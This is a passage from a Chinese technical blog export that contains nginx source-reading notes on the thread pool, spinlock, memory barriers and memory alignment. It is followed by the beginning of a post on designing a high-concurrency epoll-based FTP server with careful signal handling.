class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">static</span> <span class=\"keyword\">void</span></span><br><span class=\"line\">ngx_thread_pool_destroy(<span class=\"keyword\">ngx_thread_pool_t</span> *tp)</span><br><span class=\"line\">{</span><br><span class=\"line\"> <span class=\"keyword\">ngx_uint_t</span> n;</span><br><span class=\"line\"> <span class=\"keyword\">ngx_thread_task_t</span> task;</span><br><span class=\"line\"> <span class=\"keyword\">volatile</span> <span class=\"keyword\">ngx_uint_t</span> lock;</span><br><span class=\"line\"></span><br><span class=\"line\"> ngx_memzero(&task, <span class=\"keyword\">sizeof</span>(<span class=\"keyword\">ngx_thread_task_t</span>));</span><br><span class=\"line\"></span><br><span class=\"line\"> task.handler = ngx_thread_pool_exit_handler;</span><br><span class=\"line\"> task.ctx = (<span class=\"keyword\">void</span> *) &lock;</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">for</span> (n = <span class=\"number\">0</span>; n < tp->threads; n++) {</span><br><span class=\"line\"> lock = <span class=\"number\">1</span>;</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (ngx_thread_task_post(tp, &task) != NGX_OK) {</span><br><span class=\"line\"> <span class=\"keyword\">return</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> </span><br><span class=\"line\"> <span class=\"comment\">// 在exit的函数里会设置lock为0，</span></span><br><span class=\"line\"> <span class=\"keyword\">while</span> (lock) {</span><br><span class=\"line\"> ngx_sched_yield();</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> task.event.active = <span class=\"number\">0</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> (<span class=\"keyword\">void</span>) ngx_thread_cond_destroy(&tp->cond, tp-><span class=\"built_in\">log</span>);</span><br><span class=\"line\"></span><br><span class=\"line\"> (<span class=\"keyword\">void</span>) ngx_thread_mutex_destroy(&tp->mtx, tp-><span class=\"built_in\">log</span>);</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>这里是通过往任务队列push进exit任务来实现destroy的（该任务的handler是<code>ngx_thread_pool_exit_handler</code>）。然后不断等待<code>lock</code>变量（已用volatile修饰）变为<code>0</code>，才开始destroy下一个线程</p>\n</li>\n<li>我觉得这里之所以不用一个<code>lock</code>数组，从而无需同步的等待线程退出，或许有如下原因<ul>\n<li>用数组的实现方式大约是：不断push shutdown任务，直到所有线程都被push了shutdown任务。然后再跑一个轮询，等待lock数组里的元素都变为0，期间如果遇到非0的元素，要么停下来等待，要么收集起来，用于下一次轮询。无论是那种，逻辑都很复杂</li>\n<li>关闭线程池不需要很快。线程池是非常重量的，所以不宜频繁关闭打开，那么关闭其实是一个占比很小的需求，所以简单实现下就好</li>\n</ul>\n</li>\n<li>我以前自己实现的线程池是设置一个state变量，这个变量的存活期与整个线程池的存活期一样行。这个state变量是一个atomic变量，并且被worker（在nginx中对应的就是<code>ngx_thread_pool_cycle</code>函数）不断读取——每次循环都要读取两次。从而有非常高的同步开销。这里，这个volatile变量只有在shutdown期间才存在，所以开销低非常多</li>\n</ul>\n<h3 id=\"ngx-thread-pool-queue-t\"><a href=\"#ngx-thread-pool-queue-t\" class=\"headerlink\" title=\"ngx_thread_pool_queue_t\"></a><code>ngx_thread_pool_queue_t</code></h3><ul>\n<li>表示一个单链表，节点是<code>ngx_thread_task_t</code>类型</li>\n<li><p>定义</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">typedef</span> <span class=\"class\"><span class=\"keyword\">struct</span> {</span></span><br><span class=\"line\"> <span class=\"keyword\">ngx_thread_task_t</span> *first;</span><br><span class=\"line\"> <span class=\"keyword\">ngx_thread_task_t</span> **last; </span><br><span class=\"line\">} <span class=\"keyword\">ngx_thread_pool_queue_t</span>;</span><br></pre></td></tr></table></figure>\n</li>\n<li><p><code>last</code>字段存最后一个<code>ngx_thread_task_t</code>类型的元素的next字段的地址，从而需要append一个元素到末尾时，只需要解引用该字段写入<code>ngx_thread_task_t*</code>类型的数据即可</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">*ngx_thread_pool_done.last = task;</span><br><span class=\"line\">ngx_thread_pool_done.last = &task->next;</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>append到单链表末尾也是O(1)的复杂度（因为我们有最末尾元素的next字段的地址）。当然，添加到头部也是O(1)的复杂度</p>\n</li>\n</ul>\n<h3 id=\"ngx-thread-pool-cycle\"><a href=\"#ngx-thread-pool-cycle\" class=\"headerlink\" title=\"ngx_thread_pool_cycle\"></a><code>ngx_thread_pool_cycle</code></h3><ul>\n<li><p>流程是</p>\n<ul>\n<li>先block掉大部分信号（除了SIGILL、SIGFPE、SIGSEGV、SIGBUS以及其他不能被忽略和捕获的信号——比如SIGKILL、SIGSTOP）</li>\n<li><p>跑一个无限循环</p>\n<ul>\n<li>在循环中加锁获取queue头部的task对象，如果无法获取，使用条件变量等待。中间如果出现错误则<code>return</code></li>\n<li>获取task对象后run这个task对象的handler</li>\n<li>使用spin lock加锁，加锁成功后把这个task对象放到done队列尾部</li>\n<li><p>加入到队列后，会有个GCC的编译器内存屏障，使得</p>\n<blockquote>\n<p>Added appropriate ngx_memory_barrier() calls to make sure all modifications will happen before the lock is released(来自这句statement的commit msg)</p>\n</blockquote>\n</li>\n<li>之后调用notify函数，传入<code>ngx_thread_pool_handler</code>函数的地址</li>\n</ul>\n</li>\n</ul>\n</li>\n<li><p>里面有这么一段</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">ngx_spinlock(&ngx_thread_pool_done_lock, <span class=\"number\">1</span>, <span class=\"number\">2048</span>);</span><br><span class=\"line\"></span><br><span class=\"line\">*ngx_thread_pool_done.last = task;</span><br><span class=\"line\">ngx_thread_pool_done.last = &task->next;</span><br><span class=\"line\"></span><br><span class=\"line\">ngx_memory_barrier();</span><br><span class=\"line\"></span><br><span class=\"line\">ngx_unlock(&ngx_thread_pool_done_lock);</span><br></pre></td></tr></table></figure>\n<ul>\n<li><p>commit msg对<code>ngx_memory_barrier</code>的解释是（注意，这里的<code>ngx_memory_barrier</code>并不是CPU内存屏障，而是编译器的内存屏障）</p>\n<blockquote>\n<p>Thread pools: memory barriers in task completion notifications. The <code>ngx_thread_pool_done</code> object isn’t volatile, and at least some compilers assume that it is permitted to reorder modifications of volatile and non-volatile objects. Added appropriate <code>ngx_memory_barrier()</code> calls to make sure all modifications will happen before the lock is released. Reported by Mindaugas Rasiukevicius, <a href=\"http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008160.html\" target=\"_blank\" rel=\"noopener\">http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008160.html</a></p>\n</blockquote>\n</li>\n<li><p>这里之所以不使用mutex，我认为有这几个原因</p>\n<ul>\n<li>这里竞争不激烈，所以重量锁不必要</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n<h3 id=\"ngx-thread-task-alloc\"><a href=\"#ngx-thread-task-alloc\" class=\"headerlink\" title=\"ngx_thread_task_alloc\"></a><code>ngx_thread_task_alloc</code></h3><ul>\n<li><p>代码</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">ngx_thread_task_t</span> *</span><br><span class=\"line\">ngx_thread_task_alloc(<span class=\"keyword\">ngx_pool_t</span> *pool, <span class=\"keyword\">size_t</span> size)</span><br><span class=\"line\">{</span><br><span class=\"line\"> <span class=\"keyword\">ngx_thread_task_t</span> *task;</span><br><span class=\"line\"></span><br><span class=\"line\"> task = ngx_pcalloc(pool, <span class=\"keyword\">sizeof</span>(<span class=\"keyword\">ngx_thread_task_t</span>) + size);</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (task == <span class=\"literal\">NULL</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">return</span> <span class=\"literal\">NULL</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> task->ctx = task + <span class=\"number\">1</span>;</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">return</span> task;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>这个函数非常有意思，这是一个被外部调用的函数，用来获得task结构的。其把ctx（也就是具体的work函数的参数）分配在紧邻结构体的地方，从而使得结构体本身与结构体内ctx指针的内存位置连在一起，对cache非常友好</p>\n</li>\n</ul>\n<h3 id=\"ngx-thread-task-post\"><a href=\"#ngx-thread-task-post\" class=\"headerlink\" title=\"ngx_thread_task_post\"></a><code>ngx_thread_task_post</code></h3><ul>\n<li>用于往任务队列里push task对象</li>\n<li>这个push是线程安全的，但是要求所有的请求排队——因为是使用thread pool的mutex来加锁几乎整个函数体的</li>\n<li>这里用的是加锁、push对象，cond signal的策略。<code>ngx_thread_pool_cycle</code>的函数也是用加锁、cond wait的策略来获取任务的。这里并没有使用spin-lock加上重型锁（就是mutex）来优化。可能的原因我认为有<ul>\n<li>需要条件变量，所以需要锁mutex——如果用spin lock，那其实无需条件变量</li>\n<li>可能push任务这个需求并不是非常频繁，反而任务执行才是重点——目前nginx的线程池好像只是用于异步磁盘IO。另一方面，如果执行任务的时间比push任务的时间比起来更小，或者是相差不大，那其实并没有使用线程池的必要——直接在当前线程运行就好，因为push进线程池本身就有非常大的开销，并且线程一多，上下文切换的开销也大，从nginx的设计理念来讲，只要不是阻塞操作（比如磁盘IO是阻塞操作（读写文件似乎不能Nonblocking），网络IO可以不阻塞），都没有必要使用线程池</li>\n</ul>\n</li>\n</ul>\n<h3 id=\"与我自己的线程池的对比\"><a href=\"#与我自己的线程池的对比\" class=\"headerlink\" title=\"与我自己的线程池的对比\"></a>与我自己的线程池的对比</h3><ul>\n<li><a href=\"https://github.com/H-ZeX/FTP-Implement/blob/master/src/main/tools/ThreadPool.hpp\" target=\"_blank\" rel=\"noopener\">我的线程池</a></li>\n<li>nginx的优点<ul>\n<li>ngxin不需要维护线程池的state变量（该变量是atomic的，并且被频繁读取，读取这种变量开销很大），从而同步开销小</li>\n<li>线程池中需要同步的变量很少很少，并且对这些变量的操作也非常少，从而同步开销小</li>\n</ul>\n</li>\n</ul>\n<h2 id=\"spin-lock\"><a href=\"#spin-lock\" class=\"headerlink\" title=\"spin_lock\"></a><code>spin_lock</code></h2><ul>\n<li><p>主要代码如下</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br><span class=\"line\">20</span><br><span class=\"line\">21</span><br><span class=\"line\">22</span><br><span class=\"line\">23</span><br><span class=\"line\">24</span><br><span class=\"line\">25</span><br><span class=\"line\">26</span><br><span class=\"line\">27</span><br><span class=\"line\">28</span><br><span class=\"line\">29</span><br><span class=\"line\">30</span><br><span class=\"line\">31</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">void</span></span><br><span class=\"line\">ngx_spinlock(<span class=\"keyword\">ngx_atomic_t</span> *lock, <span class=\"keyword\">ngx_atomic_int_t</span> value, <span class=\"keyword\">ngx_uint_t</span> spin)</span><br><span class=\"line\">{</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">ngx_uint_t</span> i, n;</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">for</span> ( ;; ) {</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (*lock == <span class=\"number\">0</span> && ngx_atomic_cmp_set(lock, <span class=\"number\">0</span>, value)) {</span><br><span class=\"line\"> <span class=\"keyword\">return</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (ngx_ncpu > <span class=\"number\">1</span>) {</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">for</span> (n = <span class=\"number\">1</span>; n < spin; n <<= <span class=\"number\">1</span>) {</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">for</span> (i = <span class=\"number\">0</span>; i < n; i++) {</span><br><span class=\"line\"> ngx_cpu_pause();</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (*lock == <span class=\"number\">0</span> && ngx_atomic_cmp_set(lock, <span class=\"number\">0</span>, value)) {</span><br><span class=\"line\"> <span class=\"keyword\">return</span>;</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\"> <span class=\"comment\">// 一次spin过去了还没有拿到锁，则让出cpu</span></span><br><span class=\"line\"> ngx_sched_yield();</span><br><span class=\"line\"> }</span><br><span class=\"line\"></span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n</li>\n<li><p><code>ngx_atomic_cmp_set</code>会插入编译器的memory barrier，不是cpu的memory barrier（以下<a href=\"https://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html\" target=\"_blank\" rel=\"noopener\">Ref from GCC doc</a>）</p>\n<blockquote>\n<p>“memory”</p>\n<ul>\n<li><p>The “memory” clobber tells the compiler that <strong>the assembly code performs memory reads or writes to items other than those listed in the input and output operands</strong> (for example, accessing the memory pointed to by one of the input parameters). </p>\n</li>\n<li><p>To ensure memory contains correct values, GCC <strong>may need to flush specific register values to memory before executing the asm</strong>. </p>\n</li>\n<li><p>Further, <strong>the compiler does not assume that any values read from memory before an asm remain unchanged after that asm; it reloads them as needed.</strong> </p>\n</li>\n<li><p><strong>Using the “memory” clobber effectively forms a read/write memory barrier for the compiler.</strong></p>\n</li>\n<li><p><strong>Note that this clobber does not prevent the processor from doing speculative reads past the asm statement. To prevent that, you need processor-specific fence instructions</strong>.</p>\n</li>\n<li><p>flush to memory代价很高，gcc还允许一些细致的优化，见原文</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">> __asm__ volatile (</span><br><span class=\"line\">> </span><br><span class=\"line\">> NGX_SMP_LOCK</span><br><span class=\"line\">> " cmpxchgq %3, %1; "</span><br><span class=\"line\">> " sete %0; "</span><br><span class=\"line\">> </span><br><span class=\"line\">> // 按照GCC内联汇编的文档，受影响列表中的`memory`会导致`Using the "memory" clobber effectively forms a read/write memory barrier for the compiler.`</span><br><span class=\"line\">> : "=a" (res) : "m" (*lock), "a" (old), "r" (set) : "cc", "memory");</span><br><span class=\"line\">></span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n</blockquote>\n</li>\n<li><p>spin lock除非拿到锁，否则不会返回</p>\n</li>\n<li>传入一个参数<code>spin</code>，<code>uintptr_t</code>类型，用于指示每次指数退避地等待的过程的长度。增大该参数可以在拿不到锁的情况下有效的降低CPU空转的时间，但也降低了竞争到锁的概率。不过在不繁忙时，该参数过大将导致等待锁的时间过长</li>\n<li>pause直接使用cpu的<code>pause</code>指令实现（以下Ref from intel manual）<blockquote>\n<ul>\n<li>Improves the performance of spin-wait loops</li>\n<li>When executing a “spin-wait loop,” processors will suffer a severe performance penalty when exiting the loop <strong>because it detects a possible memory order violation.</strong> （意思应该是说，频繁的读取一个volatile位置，使得需要反复的同步等，从而很昂贵（比如java 的volatile具有acquire-release语义，读取也是非常昂贵的））The PAUSE instruction provides a hint to the processor that the code sequence is a spin-wait loop. The processor uses this hint to avoid the memory order violation in most situations, which greatly improves processor performance. For this reason, <strong>it is recommended that a PAUSE instruction be placed in all spin-wait loops.</strong></li>\n<li>An additional function of the PAUSE instruction is to reduce the power consumed by a processor while executing a spin loop</li>\n<li>In earlier IA-32 processors, the PAUSE instruction operates like a NOP instruction. The Pentium 4 and Intel Xeon processors implement the PAUSE instruction as a delay. The delay is finite and can be zero for some processors. This instruction does not change the architectural state of the processor (that is, it performs essentially a delaying no-op operation). This instruction’s operation is the same in non-64-bit modes and 64-bit mode.</li>\n</ul>\n</blockquote>\n</li>\n<li><code>cmpxchgq</code><ul>\n<li>从intel的手册来看，这个指令并没有memory barrier。这里存疑，从nginx线程池上下文来看，这个spin lock是需要memory barrier，因为<code>ngx_thread_pool_handler</code>看其来应该是在另一个线程运行的（否则也就不需要lock了），所以肯定是需要memory barrier的。然而，unlock的操作实在是非常简单<code>#define ngx_unlock(lock) *(lock) = 0</code>，并没有构成lock和unlock的闭合——memory barrier似乎都是需要成对出现的</li>\n<li><blockquote>\n<p><strong>This instruction can be used with a LOCK prefix to allow the instruction to be executed atomically</strong></p>\n</blockquote>\n</li>\n<li><blockquote>\n<p>To simplify the interface to the processor’s bus, the destination operand receives a write cycle without regard to the result of the comparison. The destination operand is written back if the comparison fails; otherwise, the source operand is written into the destination. (The processor never produces a locked read without also producing a locked write.)</p>\n</blockquote>\n</li>\n</ul>\n</li>\n<li><p><code>ngx_sched_yield</code></p>\n<ul>\n<li><p>代码</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">if</span> (NGX_HAVE_SCHED_YIELD)</span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">define</span> ngx_sched_yield() sched_yield()</span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">else</span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">define</span> ngx_sched_yield() usleep(1)</span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">endif</span></span></span><br></pre></td></tr></table></figure>\n</li>\n<li><p>按照<code>sched_yield</code>的 manual</p>\n<blockquote>\n<p><code>sched_yield()</code> is intended for use with read-time scheduling policies (i.e., <code>SCHED_FIFO</code> or <code>SCHED_RR</code>). <strong>Use of <code>sched_yield()</code> with nondeterministic scheduling policies such as <code>SCHED_OTHER</code> is unspecified and very likely means your application design is broken.</strong></p>\n</blockquote>\n</li>\n<li>那么这里nginx应该是实时进程？（TODO）</li>\n</ul>\n</li>\n</ul>\n<h2 id=\"内存池\"><a href=\"#内存池\" class=\"headerlink\" title=\"内存池\"></a>内存池</h2><h3 id=\"ngx-memalign\"><a href=\"#ngx-memalign\" class=\"headerlink\" title=\"ngx_memalign\"></a><code>ngx_memalign</code></h3><ul>\n<li><p>代码</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/*</span></span><br><span class=\"line\"><span class=\"comment\"> * Linux has memalign() or posix_memalign()</span></span><br><span class=\"line\"><span class=\"comment\"> * Solaris has memalign()</span></span><br><span class=\"line\"><span class=\"comment\"> * FreeBSD 7.0 has posix_memalign(), besides, early version's malloc()</span></span><br><span class=\"line\"><span class=\"comment\"> * aligns allocations bigger than page size at the page boundary</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">if</span> (NGX_HAVE_POSIX_MEMALIGN || NGX_HAVE_MEMALIGN)</span></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">void</span> *<span class=\"title\">ngx_memalign</span><span class=\"params\">(<span class=\"keyword\">size_t</span> alignment, <span class=\"keyword\">size_t</span> size, <span class=\"keyword\">ngx_log_t</span> *<span class=\"built_in\">log</span>)</span></span>;</span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">else</span></span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">define</span> ngx_memalign(alignment, size, log) ngx_alloc(size, log)</span></span><br><span class=\"line\"><span class=\"meta\">#<span class=\"meta-keyword\">endif</span></span></span><br></pre></td></tr></table></figure>\n</li>\n<li><p>如果有<code>posix_memalign</code>或<code>memalign</code>那么是直接使用这两个函数实现，否则是使用<code>malloc</code>实现，malloc的man中有这么一句</p>\n<blockquote>\n<p>The malloc() and calloc() functions return a pointer to the allocated memory, which is <strong>suitably aligned for any built-in type</strong><br> 我使用<code>x86_64</code>的<code>linux 5.0.0-25-generic</code>做实验，每次返回的指针最后4bit都是0，也就是16B对齐</p>\n</blockquote>\n</li>\n<li><blockquote>\n<p>在一些UNIX实现中， 无法通过调用free()来释放由memalign()分配的内存，因为此类memalign()在实现时使用malloc()来分配内存块，然后返回一个指针，指向该内存块内已对齐的适当地址（也就是指针不是指向这个块的边界，而是指向块内的某处）</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"其他\"><a href=\"#其他\" class=\"headerlink\" title=\"其他\"></a>其他</h3><ul>\n<li><p>以下引用自<a href=\"https://zhuanlan.zhihu.com/p/77246009\" target=\"_blank\" rel=\"noopener\">OceanBase内存管理原理解析</a></p>\n<blockquote>\n<p>全局内存池的意义如下：</p>\n<ul>\n<li>全局内存池可以统计每个模块的内存使用情况，如果出现内存泄露，可以很快定位到发生问题的模块。</li>\n<li>全局内存池可用于辅助调试。例如，可以将全局内存池中申请到的内存块按字节填充为某个非法的值（比如0xFE），当出现内存越界等问题时，服务器程序会很快在出现问题的位置Core Dump，而不是带着错误运行一段时间后才Core Dump，从而方便问题定位。</li>\n<li>总而言之，OceanBase的内存管理没有采用高深的技术，也没有做到通用或者最优，但是很好地满足了系统初期的两个最主要的需求：可控性以及没有内存碎片。</li>\n</ul>\n</blockquote>\n</li>\n</ul>\n","slug":"my-nginx-src-reading-notes","categories":[{"name":"Linux","slug":"Linux","permalink":"https://h-zex.github.io/categories/Linux/"}],"tags":[{"name":"nginx","slug":"nginx","permalink":"https://h-zex.github.io/tags/nginx/"}]},{"title":"开发一个高并发的FTP服务器","date":"2019-03-20T13:58:41.000Z","path":"2019/03/20/开发一个高并发的FTP服务器/","text":"需求 根据RFC959 高并发(C3K~C4K) 架构 在主线程使用epoll，监听listen在21端口的fd，和所有用户的命令链接的fd（以下均以cmdFd简称之） 一旦某个fd就绪，就将其封装成任务对象提交给线程池去执行 每个用户关联一个Session对象，根据RFC的要求，可以实现为，任意时刻只有小于等于一个线程在handle这个session对象 12345678910111213141516171819$ tree src/main src/main├── config│ └── config.hpp├── core│ ├── FTP.hpp│ ├── Login.hpp│ ├── NetworkManager.hpp│ └── Session.hpp├── main.cpp├── tools│ ├── FileSystem.hpp│ ├── ListFiles.hpp│ └── ThreadPool.hpp└── util ├── Def.hpp ├── NetUtility.hpp ├── ThreadUtility.hpp └── Utility.hpp 线程安全的线程池类的设计 见笔者的另一篇博文Construct a Thread-Safe ThreadPool Utility 对于POSIX的 read、write等IO函数、accept等网络函数、epoll、pthread等函数创建wrap函数，用于处理各种错误，使得业务方可以简单的使用 要根据manual，对所有可能出现的errno进行处理。我的处理方法是，对于可以明确知道不应该出现的errno，一旦出现，就调用bug函数；对于EINTR，根据需求进行再次尝试或返回；对于不明确是否是合法情况的错误，输出一个warning，然后不改变errno，返回给用户；尽量使得这些wrap函数不需要返回过于复杂的信息，能返回void尽量返回void，能返回bool就不要返回int ReadWithBuf函数：学的是CSAPP的方法，让用户每次调用都传入一个相同的ReadBuf对象，在这个对象里存预读取的数据，这样子就可以每次读都读1024B（ReadBuf里面的buf的大小是1024B），从而减少read这个syscall调用的次数，可以提高效率 FTP类Session在多线程下的线程安全的保证 FTP类需要保证很重要的一点：任意一个session在任意一个时刻，只有小于等于1个线程正在handle该Session 在代码里我是这样保证的 对于用户的cmdFd，epoll等待的事件不仅仅是EPOLLIN，还需要EPOLLONESHOT。EPOLLONESHOT的含义是，一旦一个Fd被从epoll_wait返回，那么其就不再从epoll_wait返回，即使有事件发生。直到用户对这个fd使用EPOLL_CTL_MOD调用epoll_ctl指示等待的事件 EPOLLONESHOT (since Linux 2.6.2) Sets the one-shot behavior for the associated file descriptor. This means that after an event is pulled out with epoll_wait(2) the associated file descriptor is internally disabled and no other events will be reported by the epoll interface. The user must call epoll_ctl() with EPOLL_CTL_MOD to rearm the file descriptor with a new event mask. 从而使得，一个Session正在被handle的过程中，没有新的线程会去handle这个Session 创建新Session的函数epoll_wait、accept的函数在同一个线程，从而在创建新Session时，不会有新的线程去handle这个正在创建的Session destroySession时，持有一个mutex，从而，即使对应的cmdFd关闭了，OS复用了这个fd，但是其创建新Session会被阻塞，从而在该Session完全destroy之前，没有新线程会handle该Session 信号处理 按照CSAPP建议的6条规则，逐一介绍以下 handler要尽可能简单，比如只是设置一个flag handler里只能调用异步信号安全的函数（比如只访问局部变量的函数，比如不能被信号中断的函数）。异步信号安全不同于线程安全，线程安全中，对于非线程安全的函数的调用，可以通过持有同一把锁来实现线程安全；但是因为信号是异步的，所以如果在持有锁时信号到来，handler运行，则会死锁——因为handler调用该函数前也要持有锁，CSAPP 3rd（英文版）的P757有一个异步线程安全的函数的表，其中不包括exit、printf等常见函数 保存和恢复errno。因为信号handler中调用的函数可能会在失败时设置errno，所以可能会干扰正常程序中的errno，所以需要在刚进入handler时保存errno，而在退出前恢复errno 如果访问了全局的数据结构，那么需要阻塞所有信号。因为笔者的handler中只是设置了一个flag，而对bool型的flag的读或写，intel保证是原子的，所以无需如此 引用自Intel® 64 and IA-32 Architectures Software Developer’s Manual (2018 5 18), Vol.3A ch8 The Intel486 processor (and newer processors since) guarantees that the following basic memory operations will always be carried out atomically(atomically: That is, once started, the processor guarantees that the operation will be completed before another processor or bus agent is allowed access to the memory location.): Reading or writing a byte Reading or writing a word aligned on a 16-bit boundary Reading or writing a doubleword aligned on a 32-bit boundary 使用volatile声明flag，volatile要求编译器每次在代码中引用flag时，都从内存中读取该值。不过需要注意的是，有些编译器下的volatile并没有类似于java中的volatile的内存可见性的保证 Writing to a volatile field has the same memory effect as a monitor release, and reading from a volatile field has the same memory effect as a monitor acquire. In effect, because the new memory model places stricter constraints on reordering of volatile field accesses with other field accesses, volatile or not, anything that was visible to thread A when it writes to volatile field f becomes visible to thread B when it reads f.(引用自JSR 133 (Java Memory Model) FAQ) 使用sig_atomic_t声明变量。C99的sig_atomic_t有这么一段注释 12345/* * C99: An integer type that can be accessed as an atomic entity, * even in the presence of asynchronous interrupts. * It is not currently necessary for this to be machine-specific. */ 并且按照intel的manual，读或写一个byte是原子的，所以笔者直接用了bool 还有一个很重要的点，race Condition。以下代码截取自FTP class 123456789// make sure there is no race condition:// the signal occur after check willExit and before epoll_wait// then the epoll_wait may not wake up.pthreadSigmaskWrap(SIG_BLOCK, &sigToBlock, &oldSigSet);if (willExit) { break;}int waitFdCnt = epollPWaitWrap(this->epollFd, evArray, evArraySize, -1, oldSigSet);pthreadSigmaskWrap(SIG_SETMASK, &oldSigSet); 为什么要写的这么麻烦，而不是直接使用epoll_wait。因为，虽然如果没有阻塞信号时，epoll_wait收到SIGINT会返回，但是，如果该信号是在检查了willExit标志之后、epoll_wait之前到来呢，那么，我们将错过这个信号——epoll_wait不会返回，从而没有机会去再次检查willExit。所以，需要在检查willExit与epoll_wait之间阻塞信号，并且要在epoll_wait期间不阻塞SIGINT，这意味着需要原子的做这件事情，这就是epoll_pwait帮我们做的 ref from epoll_pwait manual The following epoll_pwait() call: 12> ready = epoll_pwait(epfd, &events, maxevents, timeout, &sigmask);> is equivalent to atomically executing the following calls: 123456> sigset_t origmask;> > pthread_sigmask(SIG_SETMASK, &sigmask, &origmask);> ready = epoll_wait(epfd, &events, maxevents, timeout);> pthread_sigmask(SIG_SETMASK, &origmask, NULL);> 压测压测步骤 